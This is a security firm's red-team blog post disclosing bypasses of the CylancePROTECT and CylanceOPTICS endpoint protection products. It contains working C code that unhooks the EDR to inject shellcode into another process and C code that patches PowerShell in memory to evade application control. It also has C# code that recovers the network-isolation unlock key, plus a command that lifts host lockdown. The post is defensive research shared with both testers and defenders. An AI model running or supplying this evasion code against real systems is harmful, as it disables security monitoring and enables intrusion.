Blog

Silencing Cylance: A Case Study in Modern EDRs

12/03/2019 | Author: Admin

Silencing Cylance: A Case Study in Modern EDRs

As red teamers regularly operating against mature organisations, we frequently come in to contact with a variety of Endpoint Detection & Response solutions. To better our chances of success in these environments, we regularly analyse these solutions to identify gaps, bypasses and other opportunities to operate effectively. One of the solutions we regularly come across is CylancePROTECT, the EDR from Cylance Inc who were recently acquired by Blackberry in a reported $1.4 billion deal.

In this blog post we will explore some of our findings that might assist red teamers operating in environments where CylancePROTECT is in place and briefly touch on CylanceOPTICS, a complementary solution that provides rule based detection to the endpoint. We also aim to provide defenders with insight in to how this solution operates so they have a better understanding of gaps that may exist and where complementary solutions can be introduced to mitigate risk.

Cylance Overview

CylancePROTECT (hereinafter also referred to as Cylance) functions on a device policy basis which is configurable through the Cylance SaaS portal; policies include the following security relevant configuration options:

  • Memory Actions: control which memory protections are enabled including techniques for exploitation, process injection and escalation,
  • Application Control: blocks new applications being run,
  • Script Control: configuration to block Active Script (VBS and JS), PowerShell and Office macros,
  • Device Control: configure access to removable media.

During this case study, we will analyse the effectiveness of some of these controls and illustrate techniques that we found to bypass or disable them. All results are taken from CylancePROTECT agent version 2.0.1500; the latest version at the time of writing (Dec 2018).

Script Control

As noted, the script control feature of CylancePROTECT allows administrators to configure whether Windows Scripting, PowerShell and Office macros are blocked, permitted or allowed with alerting on the endpoint. A sample configuration may look as follows, which is configured to block all Script, PowerShell and macro files:

In such a configuration, simple VBA macro enabled documents are disabled as per the policy; even relatively benign macros such as the following will be blocked:

This will cause an event to be generated inside the Cylance dashboard similar to the following:

While this is relatively effective at neutering VBA macros, we noted that Excel 4.0 macros are not accounted for and have relatively carte blanche access, as shown below:

CylancePROTECT has no restrictions on Excel 4.0 macro enabled documents, even when macro documents are explicitly blocked by policy. Therefore these provide an effective means for obtaining initial access in a Cylance environment. Further details around weaponising Excel 4.0 macro enabled documents can be found in this excellent research by Stan Hegt.

It should however be noted that other controls such as the memory protections (exploitation, injection and escalation) are however still in effect, although we’ll discuss those later on.

Aside from macros, CylancePROTECT can also prevent the execution of Windows Script Host files, specifically VBScript and JavaScript files. As expected, attempting to run simple scripts with WScript.Shell inside a .js or .vbs file such as the following will be blocked by Cylance due to the ActiveScript protection:

This will generate an error inside the Cylance dashboard such as:

However, if we take the exact same JavaScript code and embed it inside a HTML Application such as the following:

We can see that CylancePROTECT does not apply the same controls to any scripts that aren’t directly executed with wscript.exe, as shown below where the HTA spawned through mshta.exe runs without issue:

Popping calc is all well and good, but let’s look at what happens if we try something more useful and weaponise a HTA using our SharpShooter tool:

SharpShooter will generate a DotNetToJScript payload that executes the raw shellcode in-memory by first allocating memory for it with VirtualAlloc then get a function pointer to it and execute it, this is a fairly standard method of executing shellcode in .NET. On executing the HTA, an error is generated and the payload is blocked by Cylance, diving in to the dashboard there is little information on the cause, however it is almost certainly as a result of the memory protection controls which we will dive in to shortly:

Disregarding shellcode execution for the moment (we’ll address that shortly), we already saw Cylance was quite nonchalant when we were executing calc.exe using either the macro or HTA payloads. Let’s see how it reacts if we try to download and run a Cobalt Strike beacon; the following HTA will simply use WScript to call certutil to download and execute a vanilla Cobalt Strike executable:

As you can see if you’re operating in an environment with CylancePROTECT, you’ll probably want to bring your favourite application whitelisting bypasses to the party!

Memory Protections

Let’s now take a look at the memory protections. When analysing an endpoint security product’s memory protection, it is often useful to review just how that product detects the usage of often suspicious API’s such as CreateRemoteThread or WriteProcessMemory.

In the case of Cylance, we know that memory analysis is exposed via several console options:

If these protections are enabled, what we find is a DLL of CyMemdef.dll is injected into 32-bit processes, and CyMemDef64.dll for 64-bit.

To understand the protection being employed, we can simulate a common malware memory injection technique leveraging CreateRemoteThread. A small POC was created with the following code:

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID);
if (hProc == INVALID_HANDLE_VALUE) {
    printf("Error opening process ID %d\n", procID);
    return 1;
}
void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
    printf("Error allocating memory in remote process\n");
    return 1;
}
if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) {
    printf("Error writing to remote process memory\n");
    return 1;
}
HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
if (tRemote == INVALID_HANDLE_VALUE) {
    printf("Error starting remote thread\n");
    return 1;
}

As expected, executing this code will result in Cylance detecting and terminating the process:

Reviewing the Cylance injected DLL, we see that a number of hooks are placed within the process to detect the use of these kinds of suspicious functions. For example, placing a breakpoint at NtCreateThreadEx (which provides the syscall bridge for CreateRemoteThread) and invoking the API call, we see that the function has been modified with a JMP:

Continuing execution via this JMP triggers an alert within Cylance and forces the termination of our application. Knowing this, we can simply modify the hooked instructions from our process to remove Cylance’s detection:

#include <iostream>
#include <windows.h>
unsigned char buf[] =
"SHELLCODE_GOES_HERE";
struct syscall_table {
    int osVersion;
};
// Remove Cylance hook from DLL export
void removeCylanceHook(const char *dll, const char *apiName, char code) {
    DWORD old, newOld;
    void *procAddress = GetProcAddress(LoadLibraryA(dll), apiName);
    printf("[*] Updating memory protection of %s!%s\n", dll, apiName);
    VirtualProtect(procAddress, 10, PAGE_EXECUTE_READWRITE, &old);
    printf("[*] Unhooking Cylance\n");
    memcpy(procAddress, "\x4c\x8b\xd1\xb8", 4);
    *((char *)procAddress + 4) = code;
    VirtualProtect(procAddress, 10, old, &newOld);
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("Usage: %s PID\n", argv[0]);
        return 2;
    }
    DWORD processID = atoi(argv[1]);
    HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, false, processID);
    if (proc == INVALID_HANDLE_VALUE) {
        printf("[!] Error: Could not open target process: %d\n", processID);
        return 1;
    }
    printf("[*] Opened target process %d\n", processID);
    printf("[*] Allocating memory in target process with VirtualAllocEx\n");
    void *alloc = VirtualAllocEx(proc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (alloc == (void*)0) {
        printf("[!] Error: Could not allocate memory in target process\n");
        return 1;
    }
    printf("[*] Allocated %d bytes at memory address %p\n", sizeof(buf), alloc);
    printf("[*] Attempting to write into victim process using WriteProcessMemory\n");
    if (WriteProcessMemory(proc, alloc, buf, sizeof(buf), NULL) == 0) {
        printf("[!] Error: Could not write to target process memory\n");
        return 1;
    }
    printf("[*] WriteProcessMemory successful\n");

    // Remove the NTDLL.DLL hook added by userland DLL
    removeCylanceHook("ntdll.dll", "ZwCreateThreadEx", 0xBB);
    printf("[*] Attempting to spawn shellcode using CreateRemoteThread\n");
    HANDLE createRemote = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
    printf("[*] Success :D\n");
}

And after executing our POC, we can see that our shellcode is spawned without any alert:

This form of self-policing will always be problematic as it depends on the process to detect its own bad behaviour.

While we originally began work on this post back in November 2018, we must reference @SpecialHoang who has since publicly documented this issue and showed how it could be used in the context of dumping process memory.

Application Control

Another protection feature offered by Cylance is the option to disable a user’s ability to execute applications such as PowerShell. With this protection enabled, attempting to execute PowerShell will result in the following alert:

We already know from the above analysis that DLL’s are injected into a process as a way of allowing Cylance to analyse and deploy preventative measures. Knowing this, the DLL CyMemDef64.dll was analysed to identify if this was also providing the above restriction.

The first area of interesting functionality we see is a call to NtQueryInformationProcess which aims to determine the application’s executable name:

Once recovered, this is compared to a string of PowerShell.exe:

If we take the PowerShell.exe executable and rename this to PS.exe, we may expect to see this check bypassed… well not quite (believe us, this used to be the workaround for Cylance’s PowerShell protection before additional mitigations were added, long live Powercatz.exe). This indicates that there must be a further check being performed, which we find within the same function:

Here we see a reference to a string “powershell.pdb” which is passed to a function to determine if this reference appears within the PE debug directory. If this is found to be the case, another DLL is then loaded into the PowerShell process of CyMemDefPS64.dll, which is a .NET assembly responsible for the message displayed above.

So what if we were to modify the PowerShell executable’s PDB entry using something like a hex editor?

Cool, so now we now know just how Cylance is blocking PowerShell execution, but modifying a binary in this way isn’t ideal given that the file hash will be changed, and any signatures will likely be invalidated. How can we achieve the same effect without modifying the hash of the PowerShell executable? Well one way would be to spawn the PowerShell process and attempt to modify the PDB reference in memory.

To spawn PowerShell, we will use CreateProcess but with the flag CREATE_SUSPENDED. Once the suspended thread has been created, we will need to find the base address of the PowerShell PE in memory by locating the PEB structure. Then it is simply a case of traversing the PE file structure to modify the PDB reference before resuming execution. The code to do this looks like this:

#include <iostream>
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS (*NtQueryInformationProcess2)(
    IN HANDLE,
    IN PROCESSINFOCLASS,
    OUT PVOID,
    IN ULONG,
    OUT PULONG
);

struct PdbInfo
{
    DWORD     Signature;
    BYTE      Guid[16];
    DWORD     Age;
    char      PdbFileName[1];
};

void* readProcessMemory(HANDLE process, void *address, DWORD bytes) {
    char *alloc = (char *)malloc(bytes);
    SIZE_T bytesRead;
    ReadProcessMemory(process, address, alloc, bytes, &bytesRead);
    return alloc;
}

void writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {
    SIZE_T bytesWritten;
    WriteProcessMemory(process, address, data, bytes, &bytesWritten);
}

void updatePdb(HANDLE process, char *base_pointer) {
    // This is where the MZ...blah header lives (the DOS header)
    IMAGE_DOS_HEADER* dos_header = (IMAGE_DOS_HEADER*)readProcessMemory(process, base_pointer, sizeof(IMAGE_DOS_HEADER));
    // We want the PE header.
    IMAGE_FILE_HEADER* file_header = (IMAGE_FILE_HEADER*)readProcessMemory(process, (base_pointer + dos_header->e_lfanew + 4), sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER));
    
    // Straight after that is the optional header (which technically is optional, but in practice always there.)
    IMAGE_OPTIONAL_HEADER *opt_header = (IMAGE_OPTIONAL_HEADER *)((char *)file_header + sizeof(IMAGE_FILE_HEADER));
    // Grab the debug data directory which has an indirection to its data
    IMAGE_DATA_DIRECTORY* dir = &opt_header->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
    // Convert that data to the right type.
    IMAGE_DEBUG_DIRECTORY* dbg_dir = (IMAGE_DEBUG_DIRECTORY*)readProcessMemory(process, (base_pointer + dir->VirtualAddress), dir->Size);
    // Check to see that the data has the right type
    if (IMAGE_DEBUG_TYPE_CODEVIEW == dbg_dir->Type)
    {
        PdbInfo* pdb_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20);
        if (0 == memcmp(&pdb_info->Signature, "RSDS", 4))
        {
            printf("[*] PDB Path Found To Be: %s\n", pdb_info->PdbFileName);
            // Update this value to bypass the check
            DWORD oldProt;
            VirtualProtectEx(process, base_pointer + dbg_dir->AddressOfRawData, 1000, PAGE_EXECUTE_READWRITE, &oldProt);
            writeProcessMemory(process, base_pointer + dbg_dir->AddressOfRawData + sizeof(PdbInfo), (void*)"xpn", 3);
        }
    }
    // Verify that the PDB path has now been updated
    PdbInfo* pdb2_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20);
    printf("[*] PDB path is now: %s\n", pdb2_info->PdbFileName);
}

int main()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    CONTEXT context;
    NtQueryInformationProcess2 ntpi;
    PROCESS_BASIC_INFORMATION pbi;
    DWORD retLen;
    SIZE_T bytesRead;
    PEB pebLocal;
    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));
    printf("Bypass Powershell restriction POC\n\n");
    // Copy the exe to another location
    printf("[*] Copying Powershell.exe over to Tasks to avoid first check\n");
    CopyFileA("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "C:\\Windows\\Tasks\\ps.exe", false);
    // Start process but suspended
    printf("[*] Spawning Powershell process in suspended state\n");
    CreateProcessA(NULL, (LPSTR)"C:\\Windows\\Tasks\\ps.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, "C:\\Windows\\System32\\", &si, &pi);
    // Get thread address
    context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(pi.hThread, &context);
    // Resolve GS to linier address
    printf("[*] Querying process for PEB address\n");
    ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
    ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
    printf("[*] Base address of Powershell.exe found to be %p\n", pebLocal.Reserved3[1]);
    
    // Update the PDB path in memory to avoid triggering Cylance check
    printf("[*] Updating PEB in memory\n");
    updatePdb(pi.hProcess, (char*)pebLocal.Reserved3[1]);
    // Finally, resume execution and spawn Powershell
    printf("[*] Finally, resuming thread... here comes Powershell :D\n");
    ResumeThread(pi.hThread);
}

And when executed:

Office Macro Bypass

As discussed earlier, Office based VBA macro protection has been well implemented within Cylance (aside from the noted absence of Excel 4.0 support). If we reviewed the protection in detail, what we find is that a number of checks are added to the VBA runtime by implementing similar hooks as seen above. In this case however, the hooks are added to VBE7.dll which is responsible for exposing functionality such as Shell or CreateObject:

What was found however was that, should the CreateObject call succeed, no further checks are completed on the exposed COM object. This means that should we find another way to initialise a target COM object, we can walk right past Cylance’s protection.

One way to do this is to simply add a reference to the VBA project. For example, we can add a reference to “Windows Script Host Object Model”:

This will then expose the “WshShell” object to our VBA, and gets us past the hooked CreateObject call. Once this is completed, we find that we can resume with the normal Office macro tricks:

Bonus Round: CylanceOptics Isolation Bypass

Although we didn’t focus too much on CylanceOptics, it would be a shame not to take a cursory look at one of the interesting features that it offers.

A component of many EDR solutions is to provide the ability to isolate a host from the network if an analyst detects suspicious activity. In this event, should an attacker be using the host as an entry point into a network, it serves as an effective way to eliminate them from the network.

CylanceOptics provides such a solution, exposing a Lockdown option via the web interface:

Upon isolating a host, we find that an unlock key is provided:

As having the ability to reconnect a previously isolated host would prove extremely valuable to us during an engagement, we wanted to understand just how difficult this would be for an attacker who had compromised a host and did not possess such an unlock key.

The CylanceOptics assemblies were reviewed revealing an interesting obfuscated call to retrieve a registry value:

We find that this call retrieves the value from HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics\PdbP. The value is then passed to the .NET DPAPI ProtectData.Unprotect API:

Attempting to decrypt the registry value with the DPAPI master key for LOCAL SYSTEM results in a password being extracted. The code to show this can be found below:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace CyOpticseUnlock
{
    class Program
    {
        static void Main(string[] args)
        {
            var fixed = new byte[] {
            0x78, 0x6A, 0x34, 0x37, 0x38, 0x53, 0x52, 0x4C, 0x43, 0x33, 0x2A, 0x46, 0x70, 0x66, 0x6B, 0x44,
            0x24, 0x3D, 0x50, 0x76, 0x54, 0x65, 0x45, 0x38, 0x40, 0x78, 0x48, 0x55, 0x54, 0x75, 0x42, 0x3F,
            0x7A, 0x38, 0x2B, 0x75, 0x21, 0x6E, 0x46, 0x44, 0x24, 0x6A, 0x59, 0x65, 0x4C, 0x62, 0x32, 0x40,
            0x4C, 0x67, 0x54, 0x48, 0x6B, 0x51, 0x50, 0x35, 0x2D, 0x46, 0x6E, 0x4C, 0x44, 0x36, 0x61, 0x4D,
            0x55, 0x4A, 0x74, 0x33, 0x7E
            };
            Console.WriteLine("CyOptics - Grab Unlock Key\n");
            Console.WriteLine("[*] Grabbing unlock key from HKEY_LOCAL_MACHINE\\SOFTWARE\\Cylance\\Optics\\PdbP");
            byte[] PdbP = (byte[])Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Cylance\\Optics", "PdbP", new byte[] { });
            Console.WriteLine("[*] Passing to DPAPI to unprotect");
            var data = System.Security.Cryptography.ProtectedData.Unprotect(PdbP, fixed, System.Security.Cryptography.DataProtectionScope.CurrentUser);
            System.Console.WriteLine("[*] Success!! Key is: {0}", ASCIIEncoding.ASCII.GetString(data));
        }
    }
}

Now we just need to pass this password over to CyOptics and we can resume network connectivity:

After exploring this a bit further, what we actually found was that although we were able to retrieve the key, if you were to simply execute the CyOptics command as LOCAL SYSTEM, you are not required to provide a key, allowing the disabling of network lockdow by simply executing the command:

CyOptics.exe control unlock -net

This blog post was written by Adam Chester and Dominic Chell.

Ready to start testing your applications?

Speak to one of our industry experts and find out how MDSec can help your business.

+44 (0) 1625 263 503

contact@mdsec.co.uk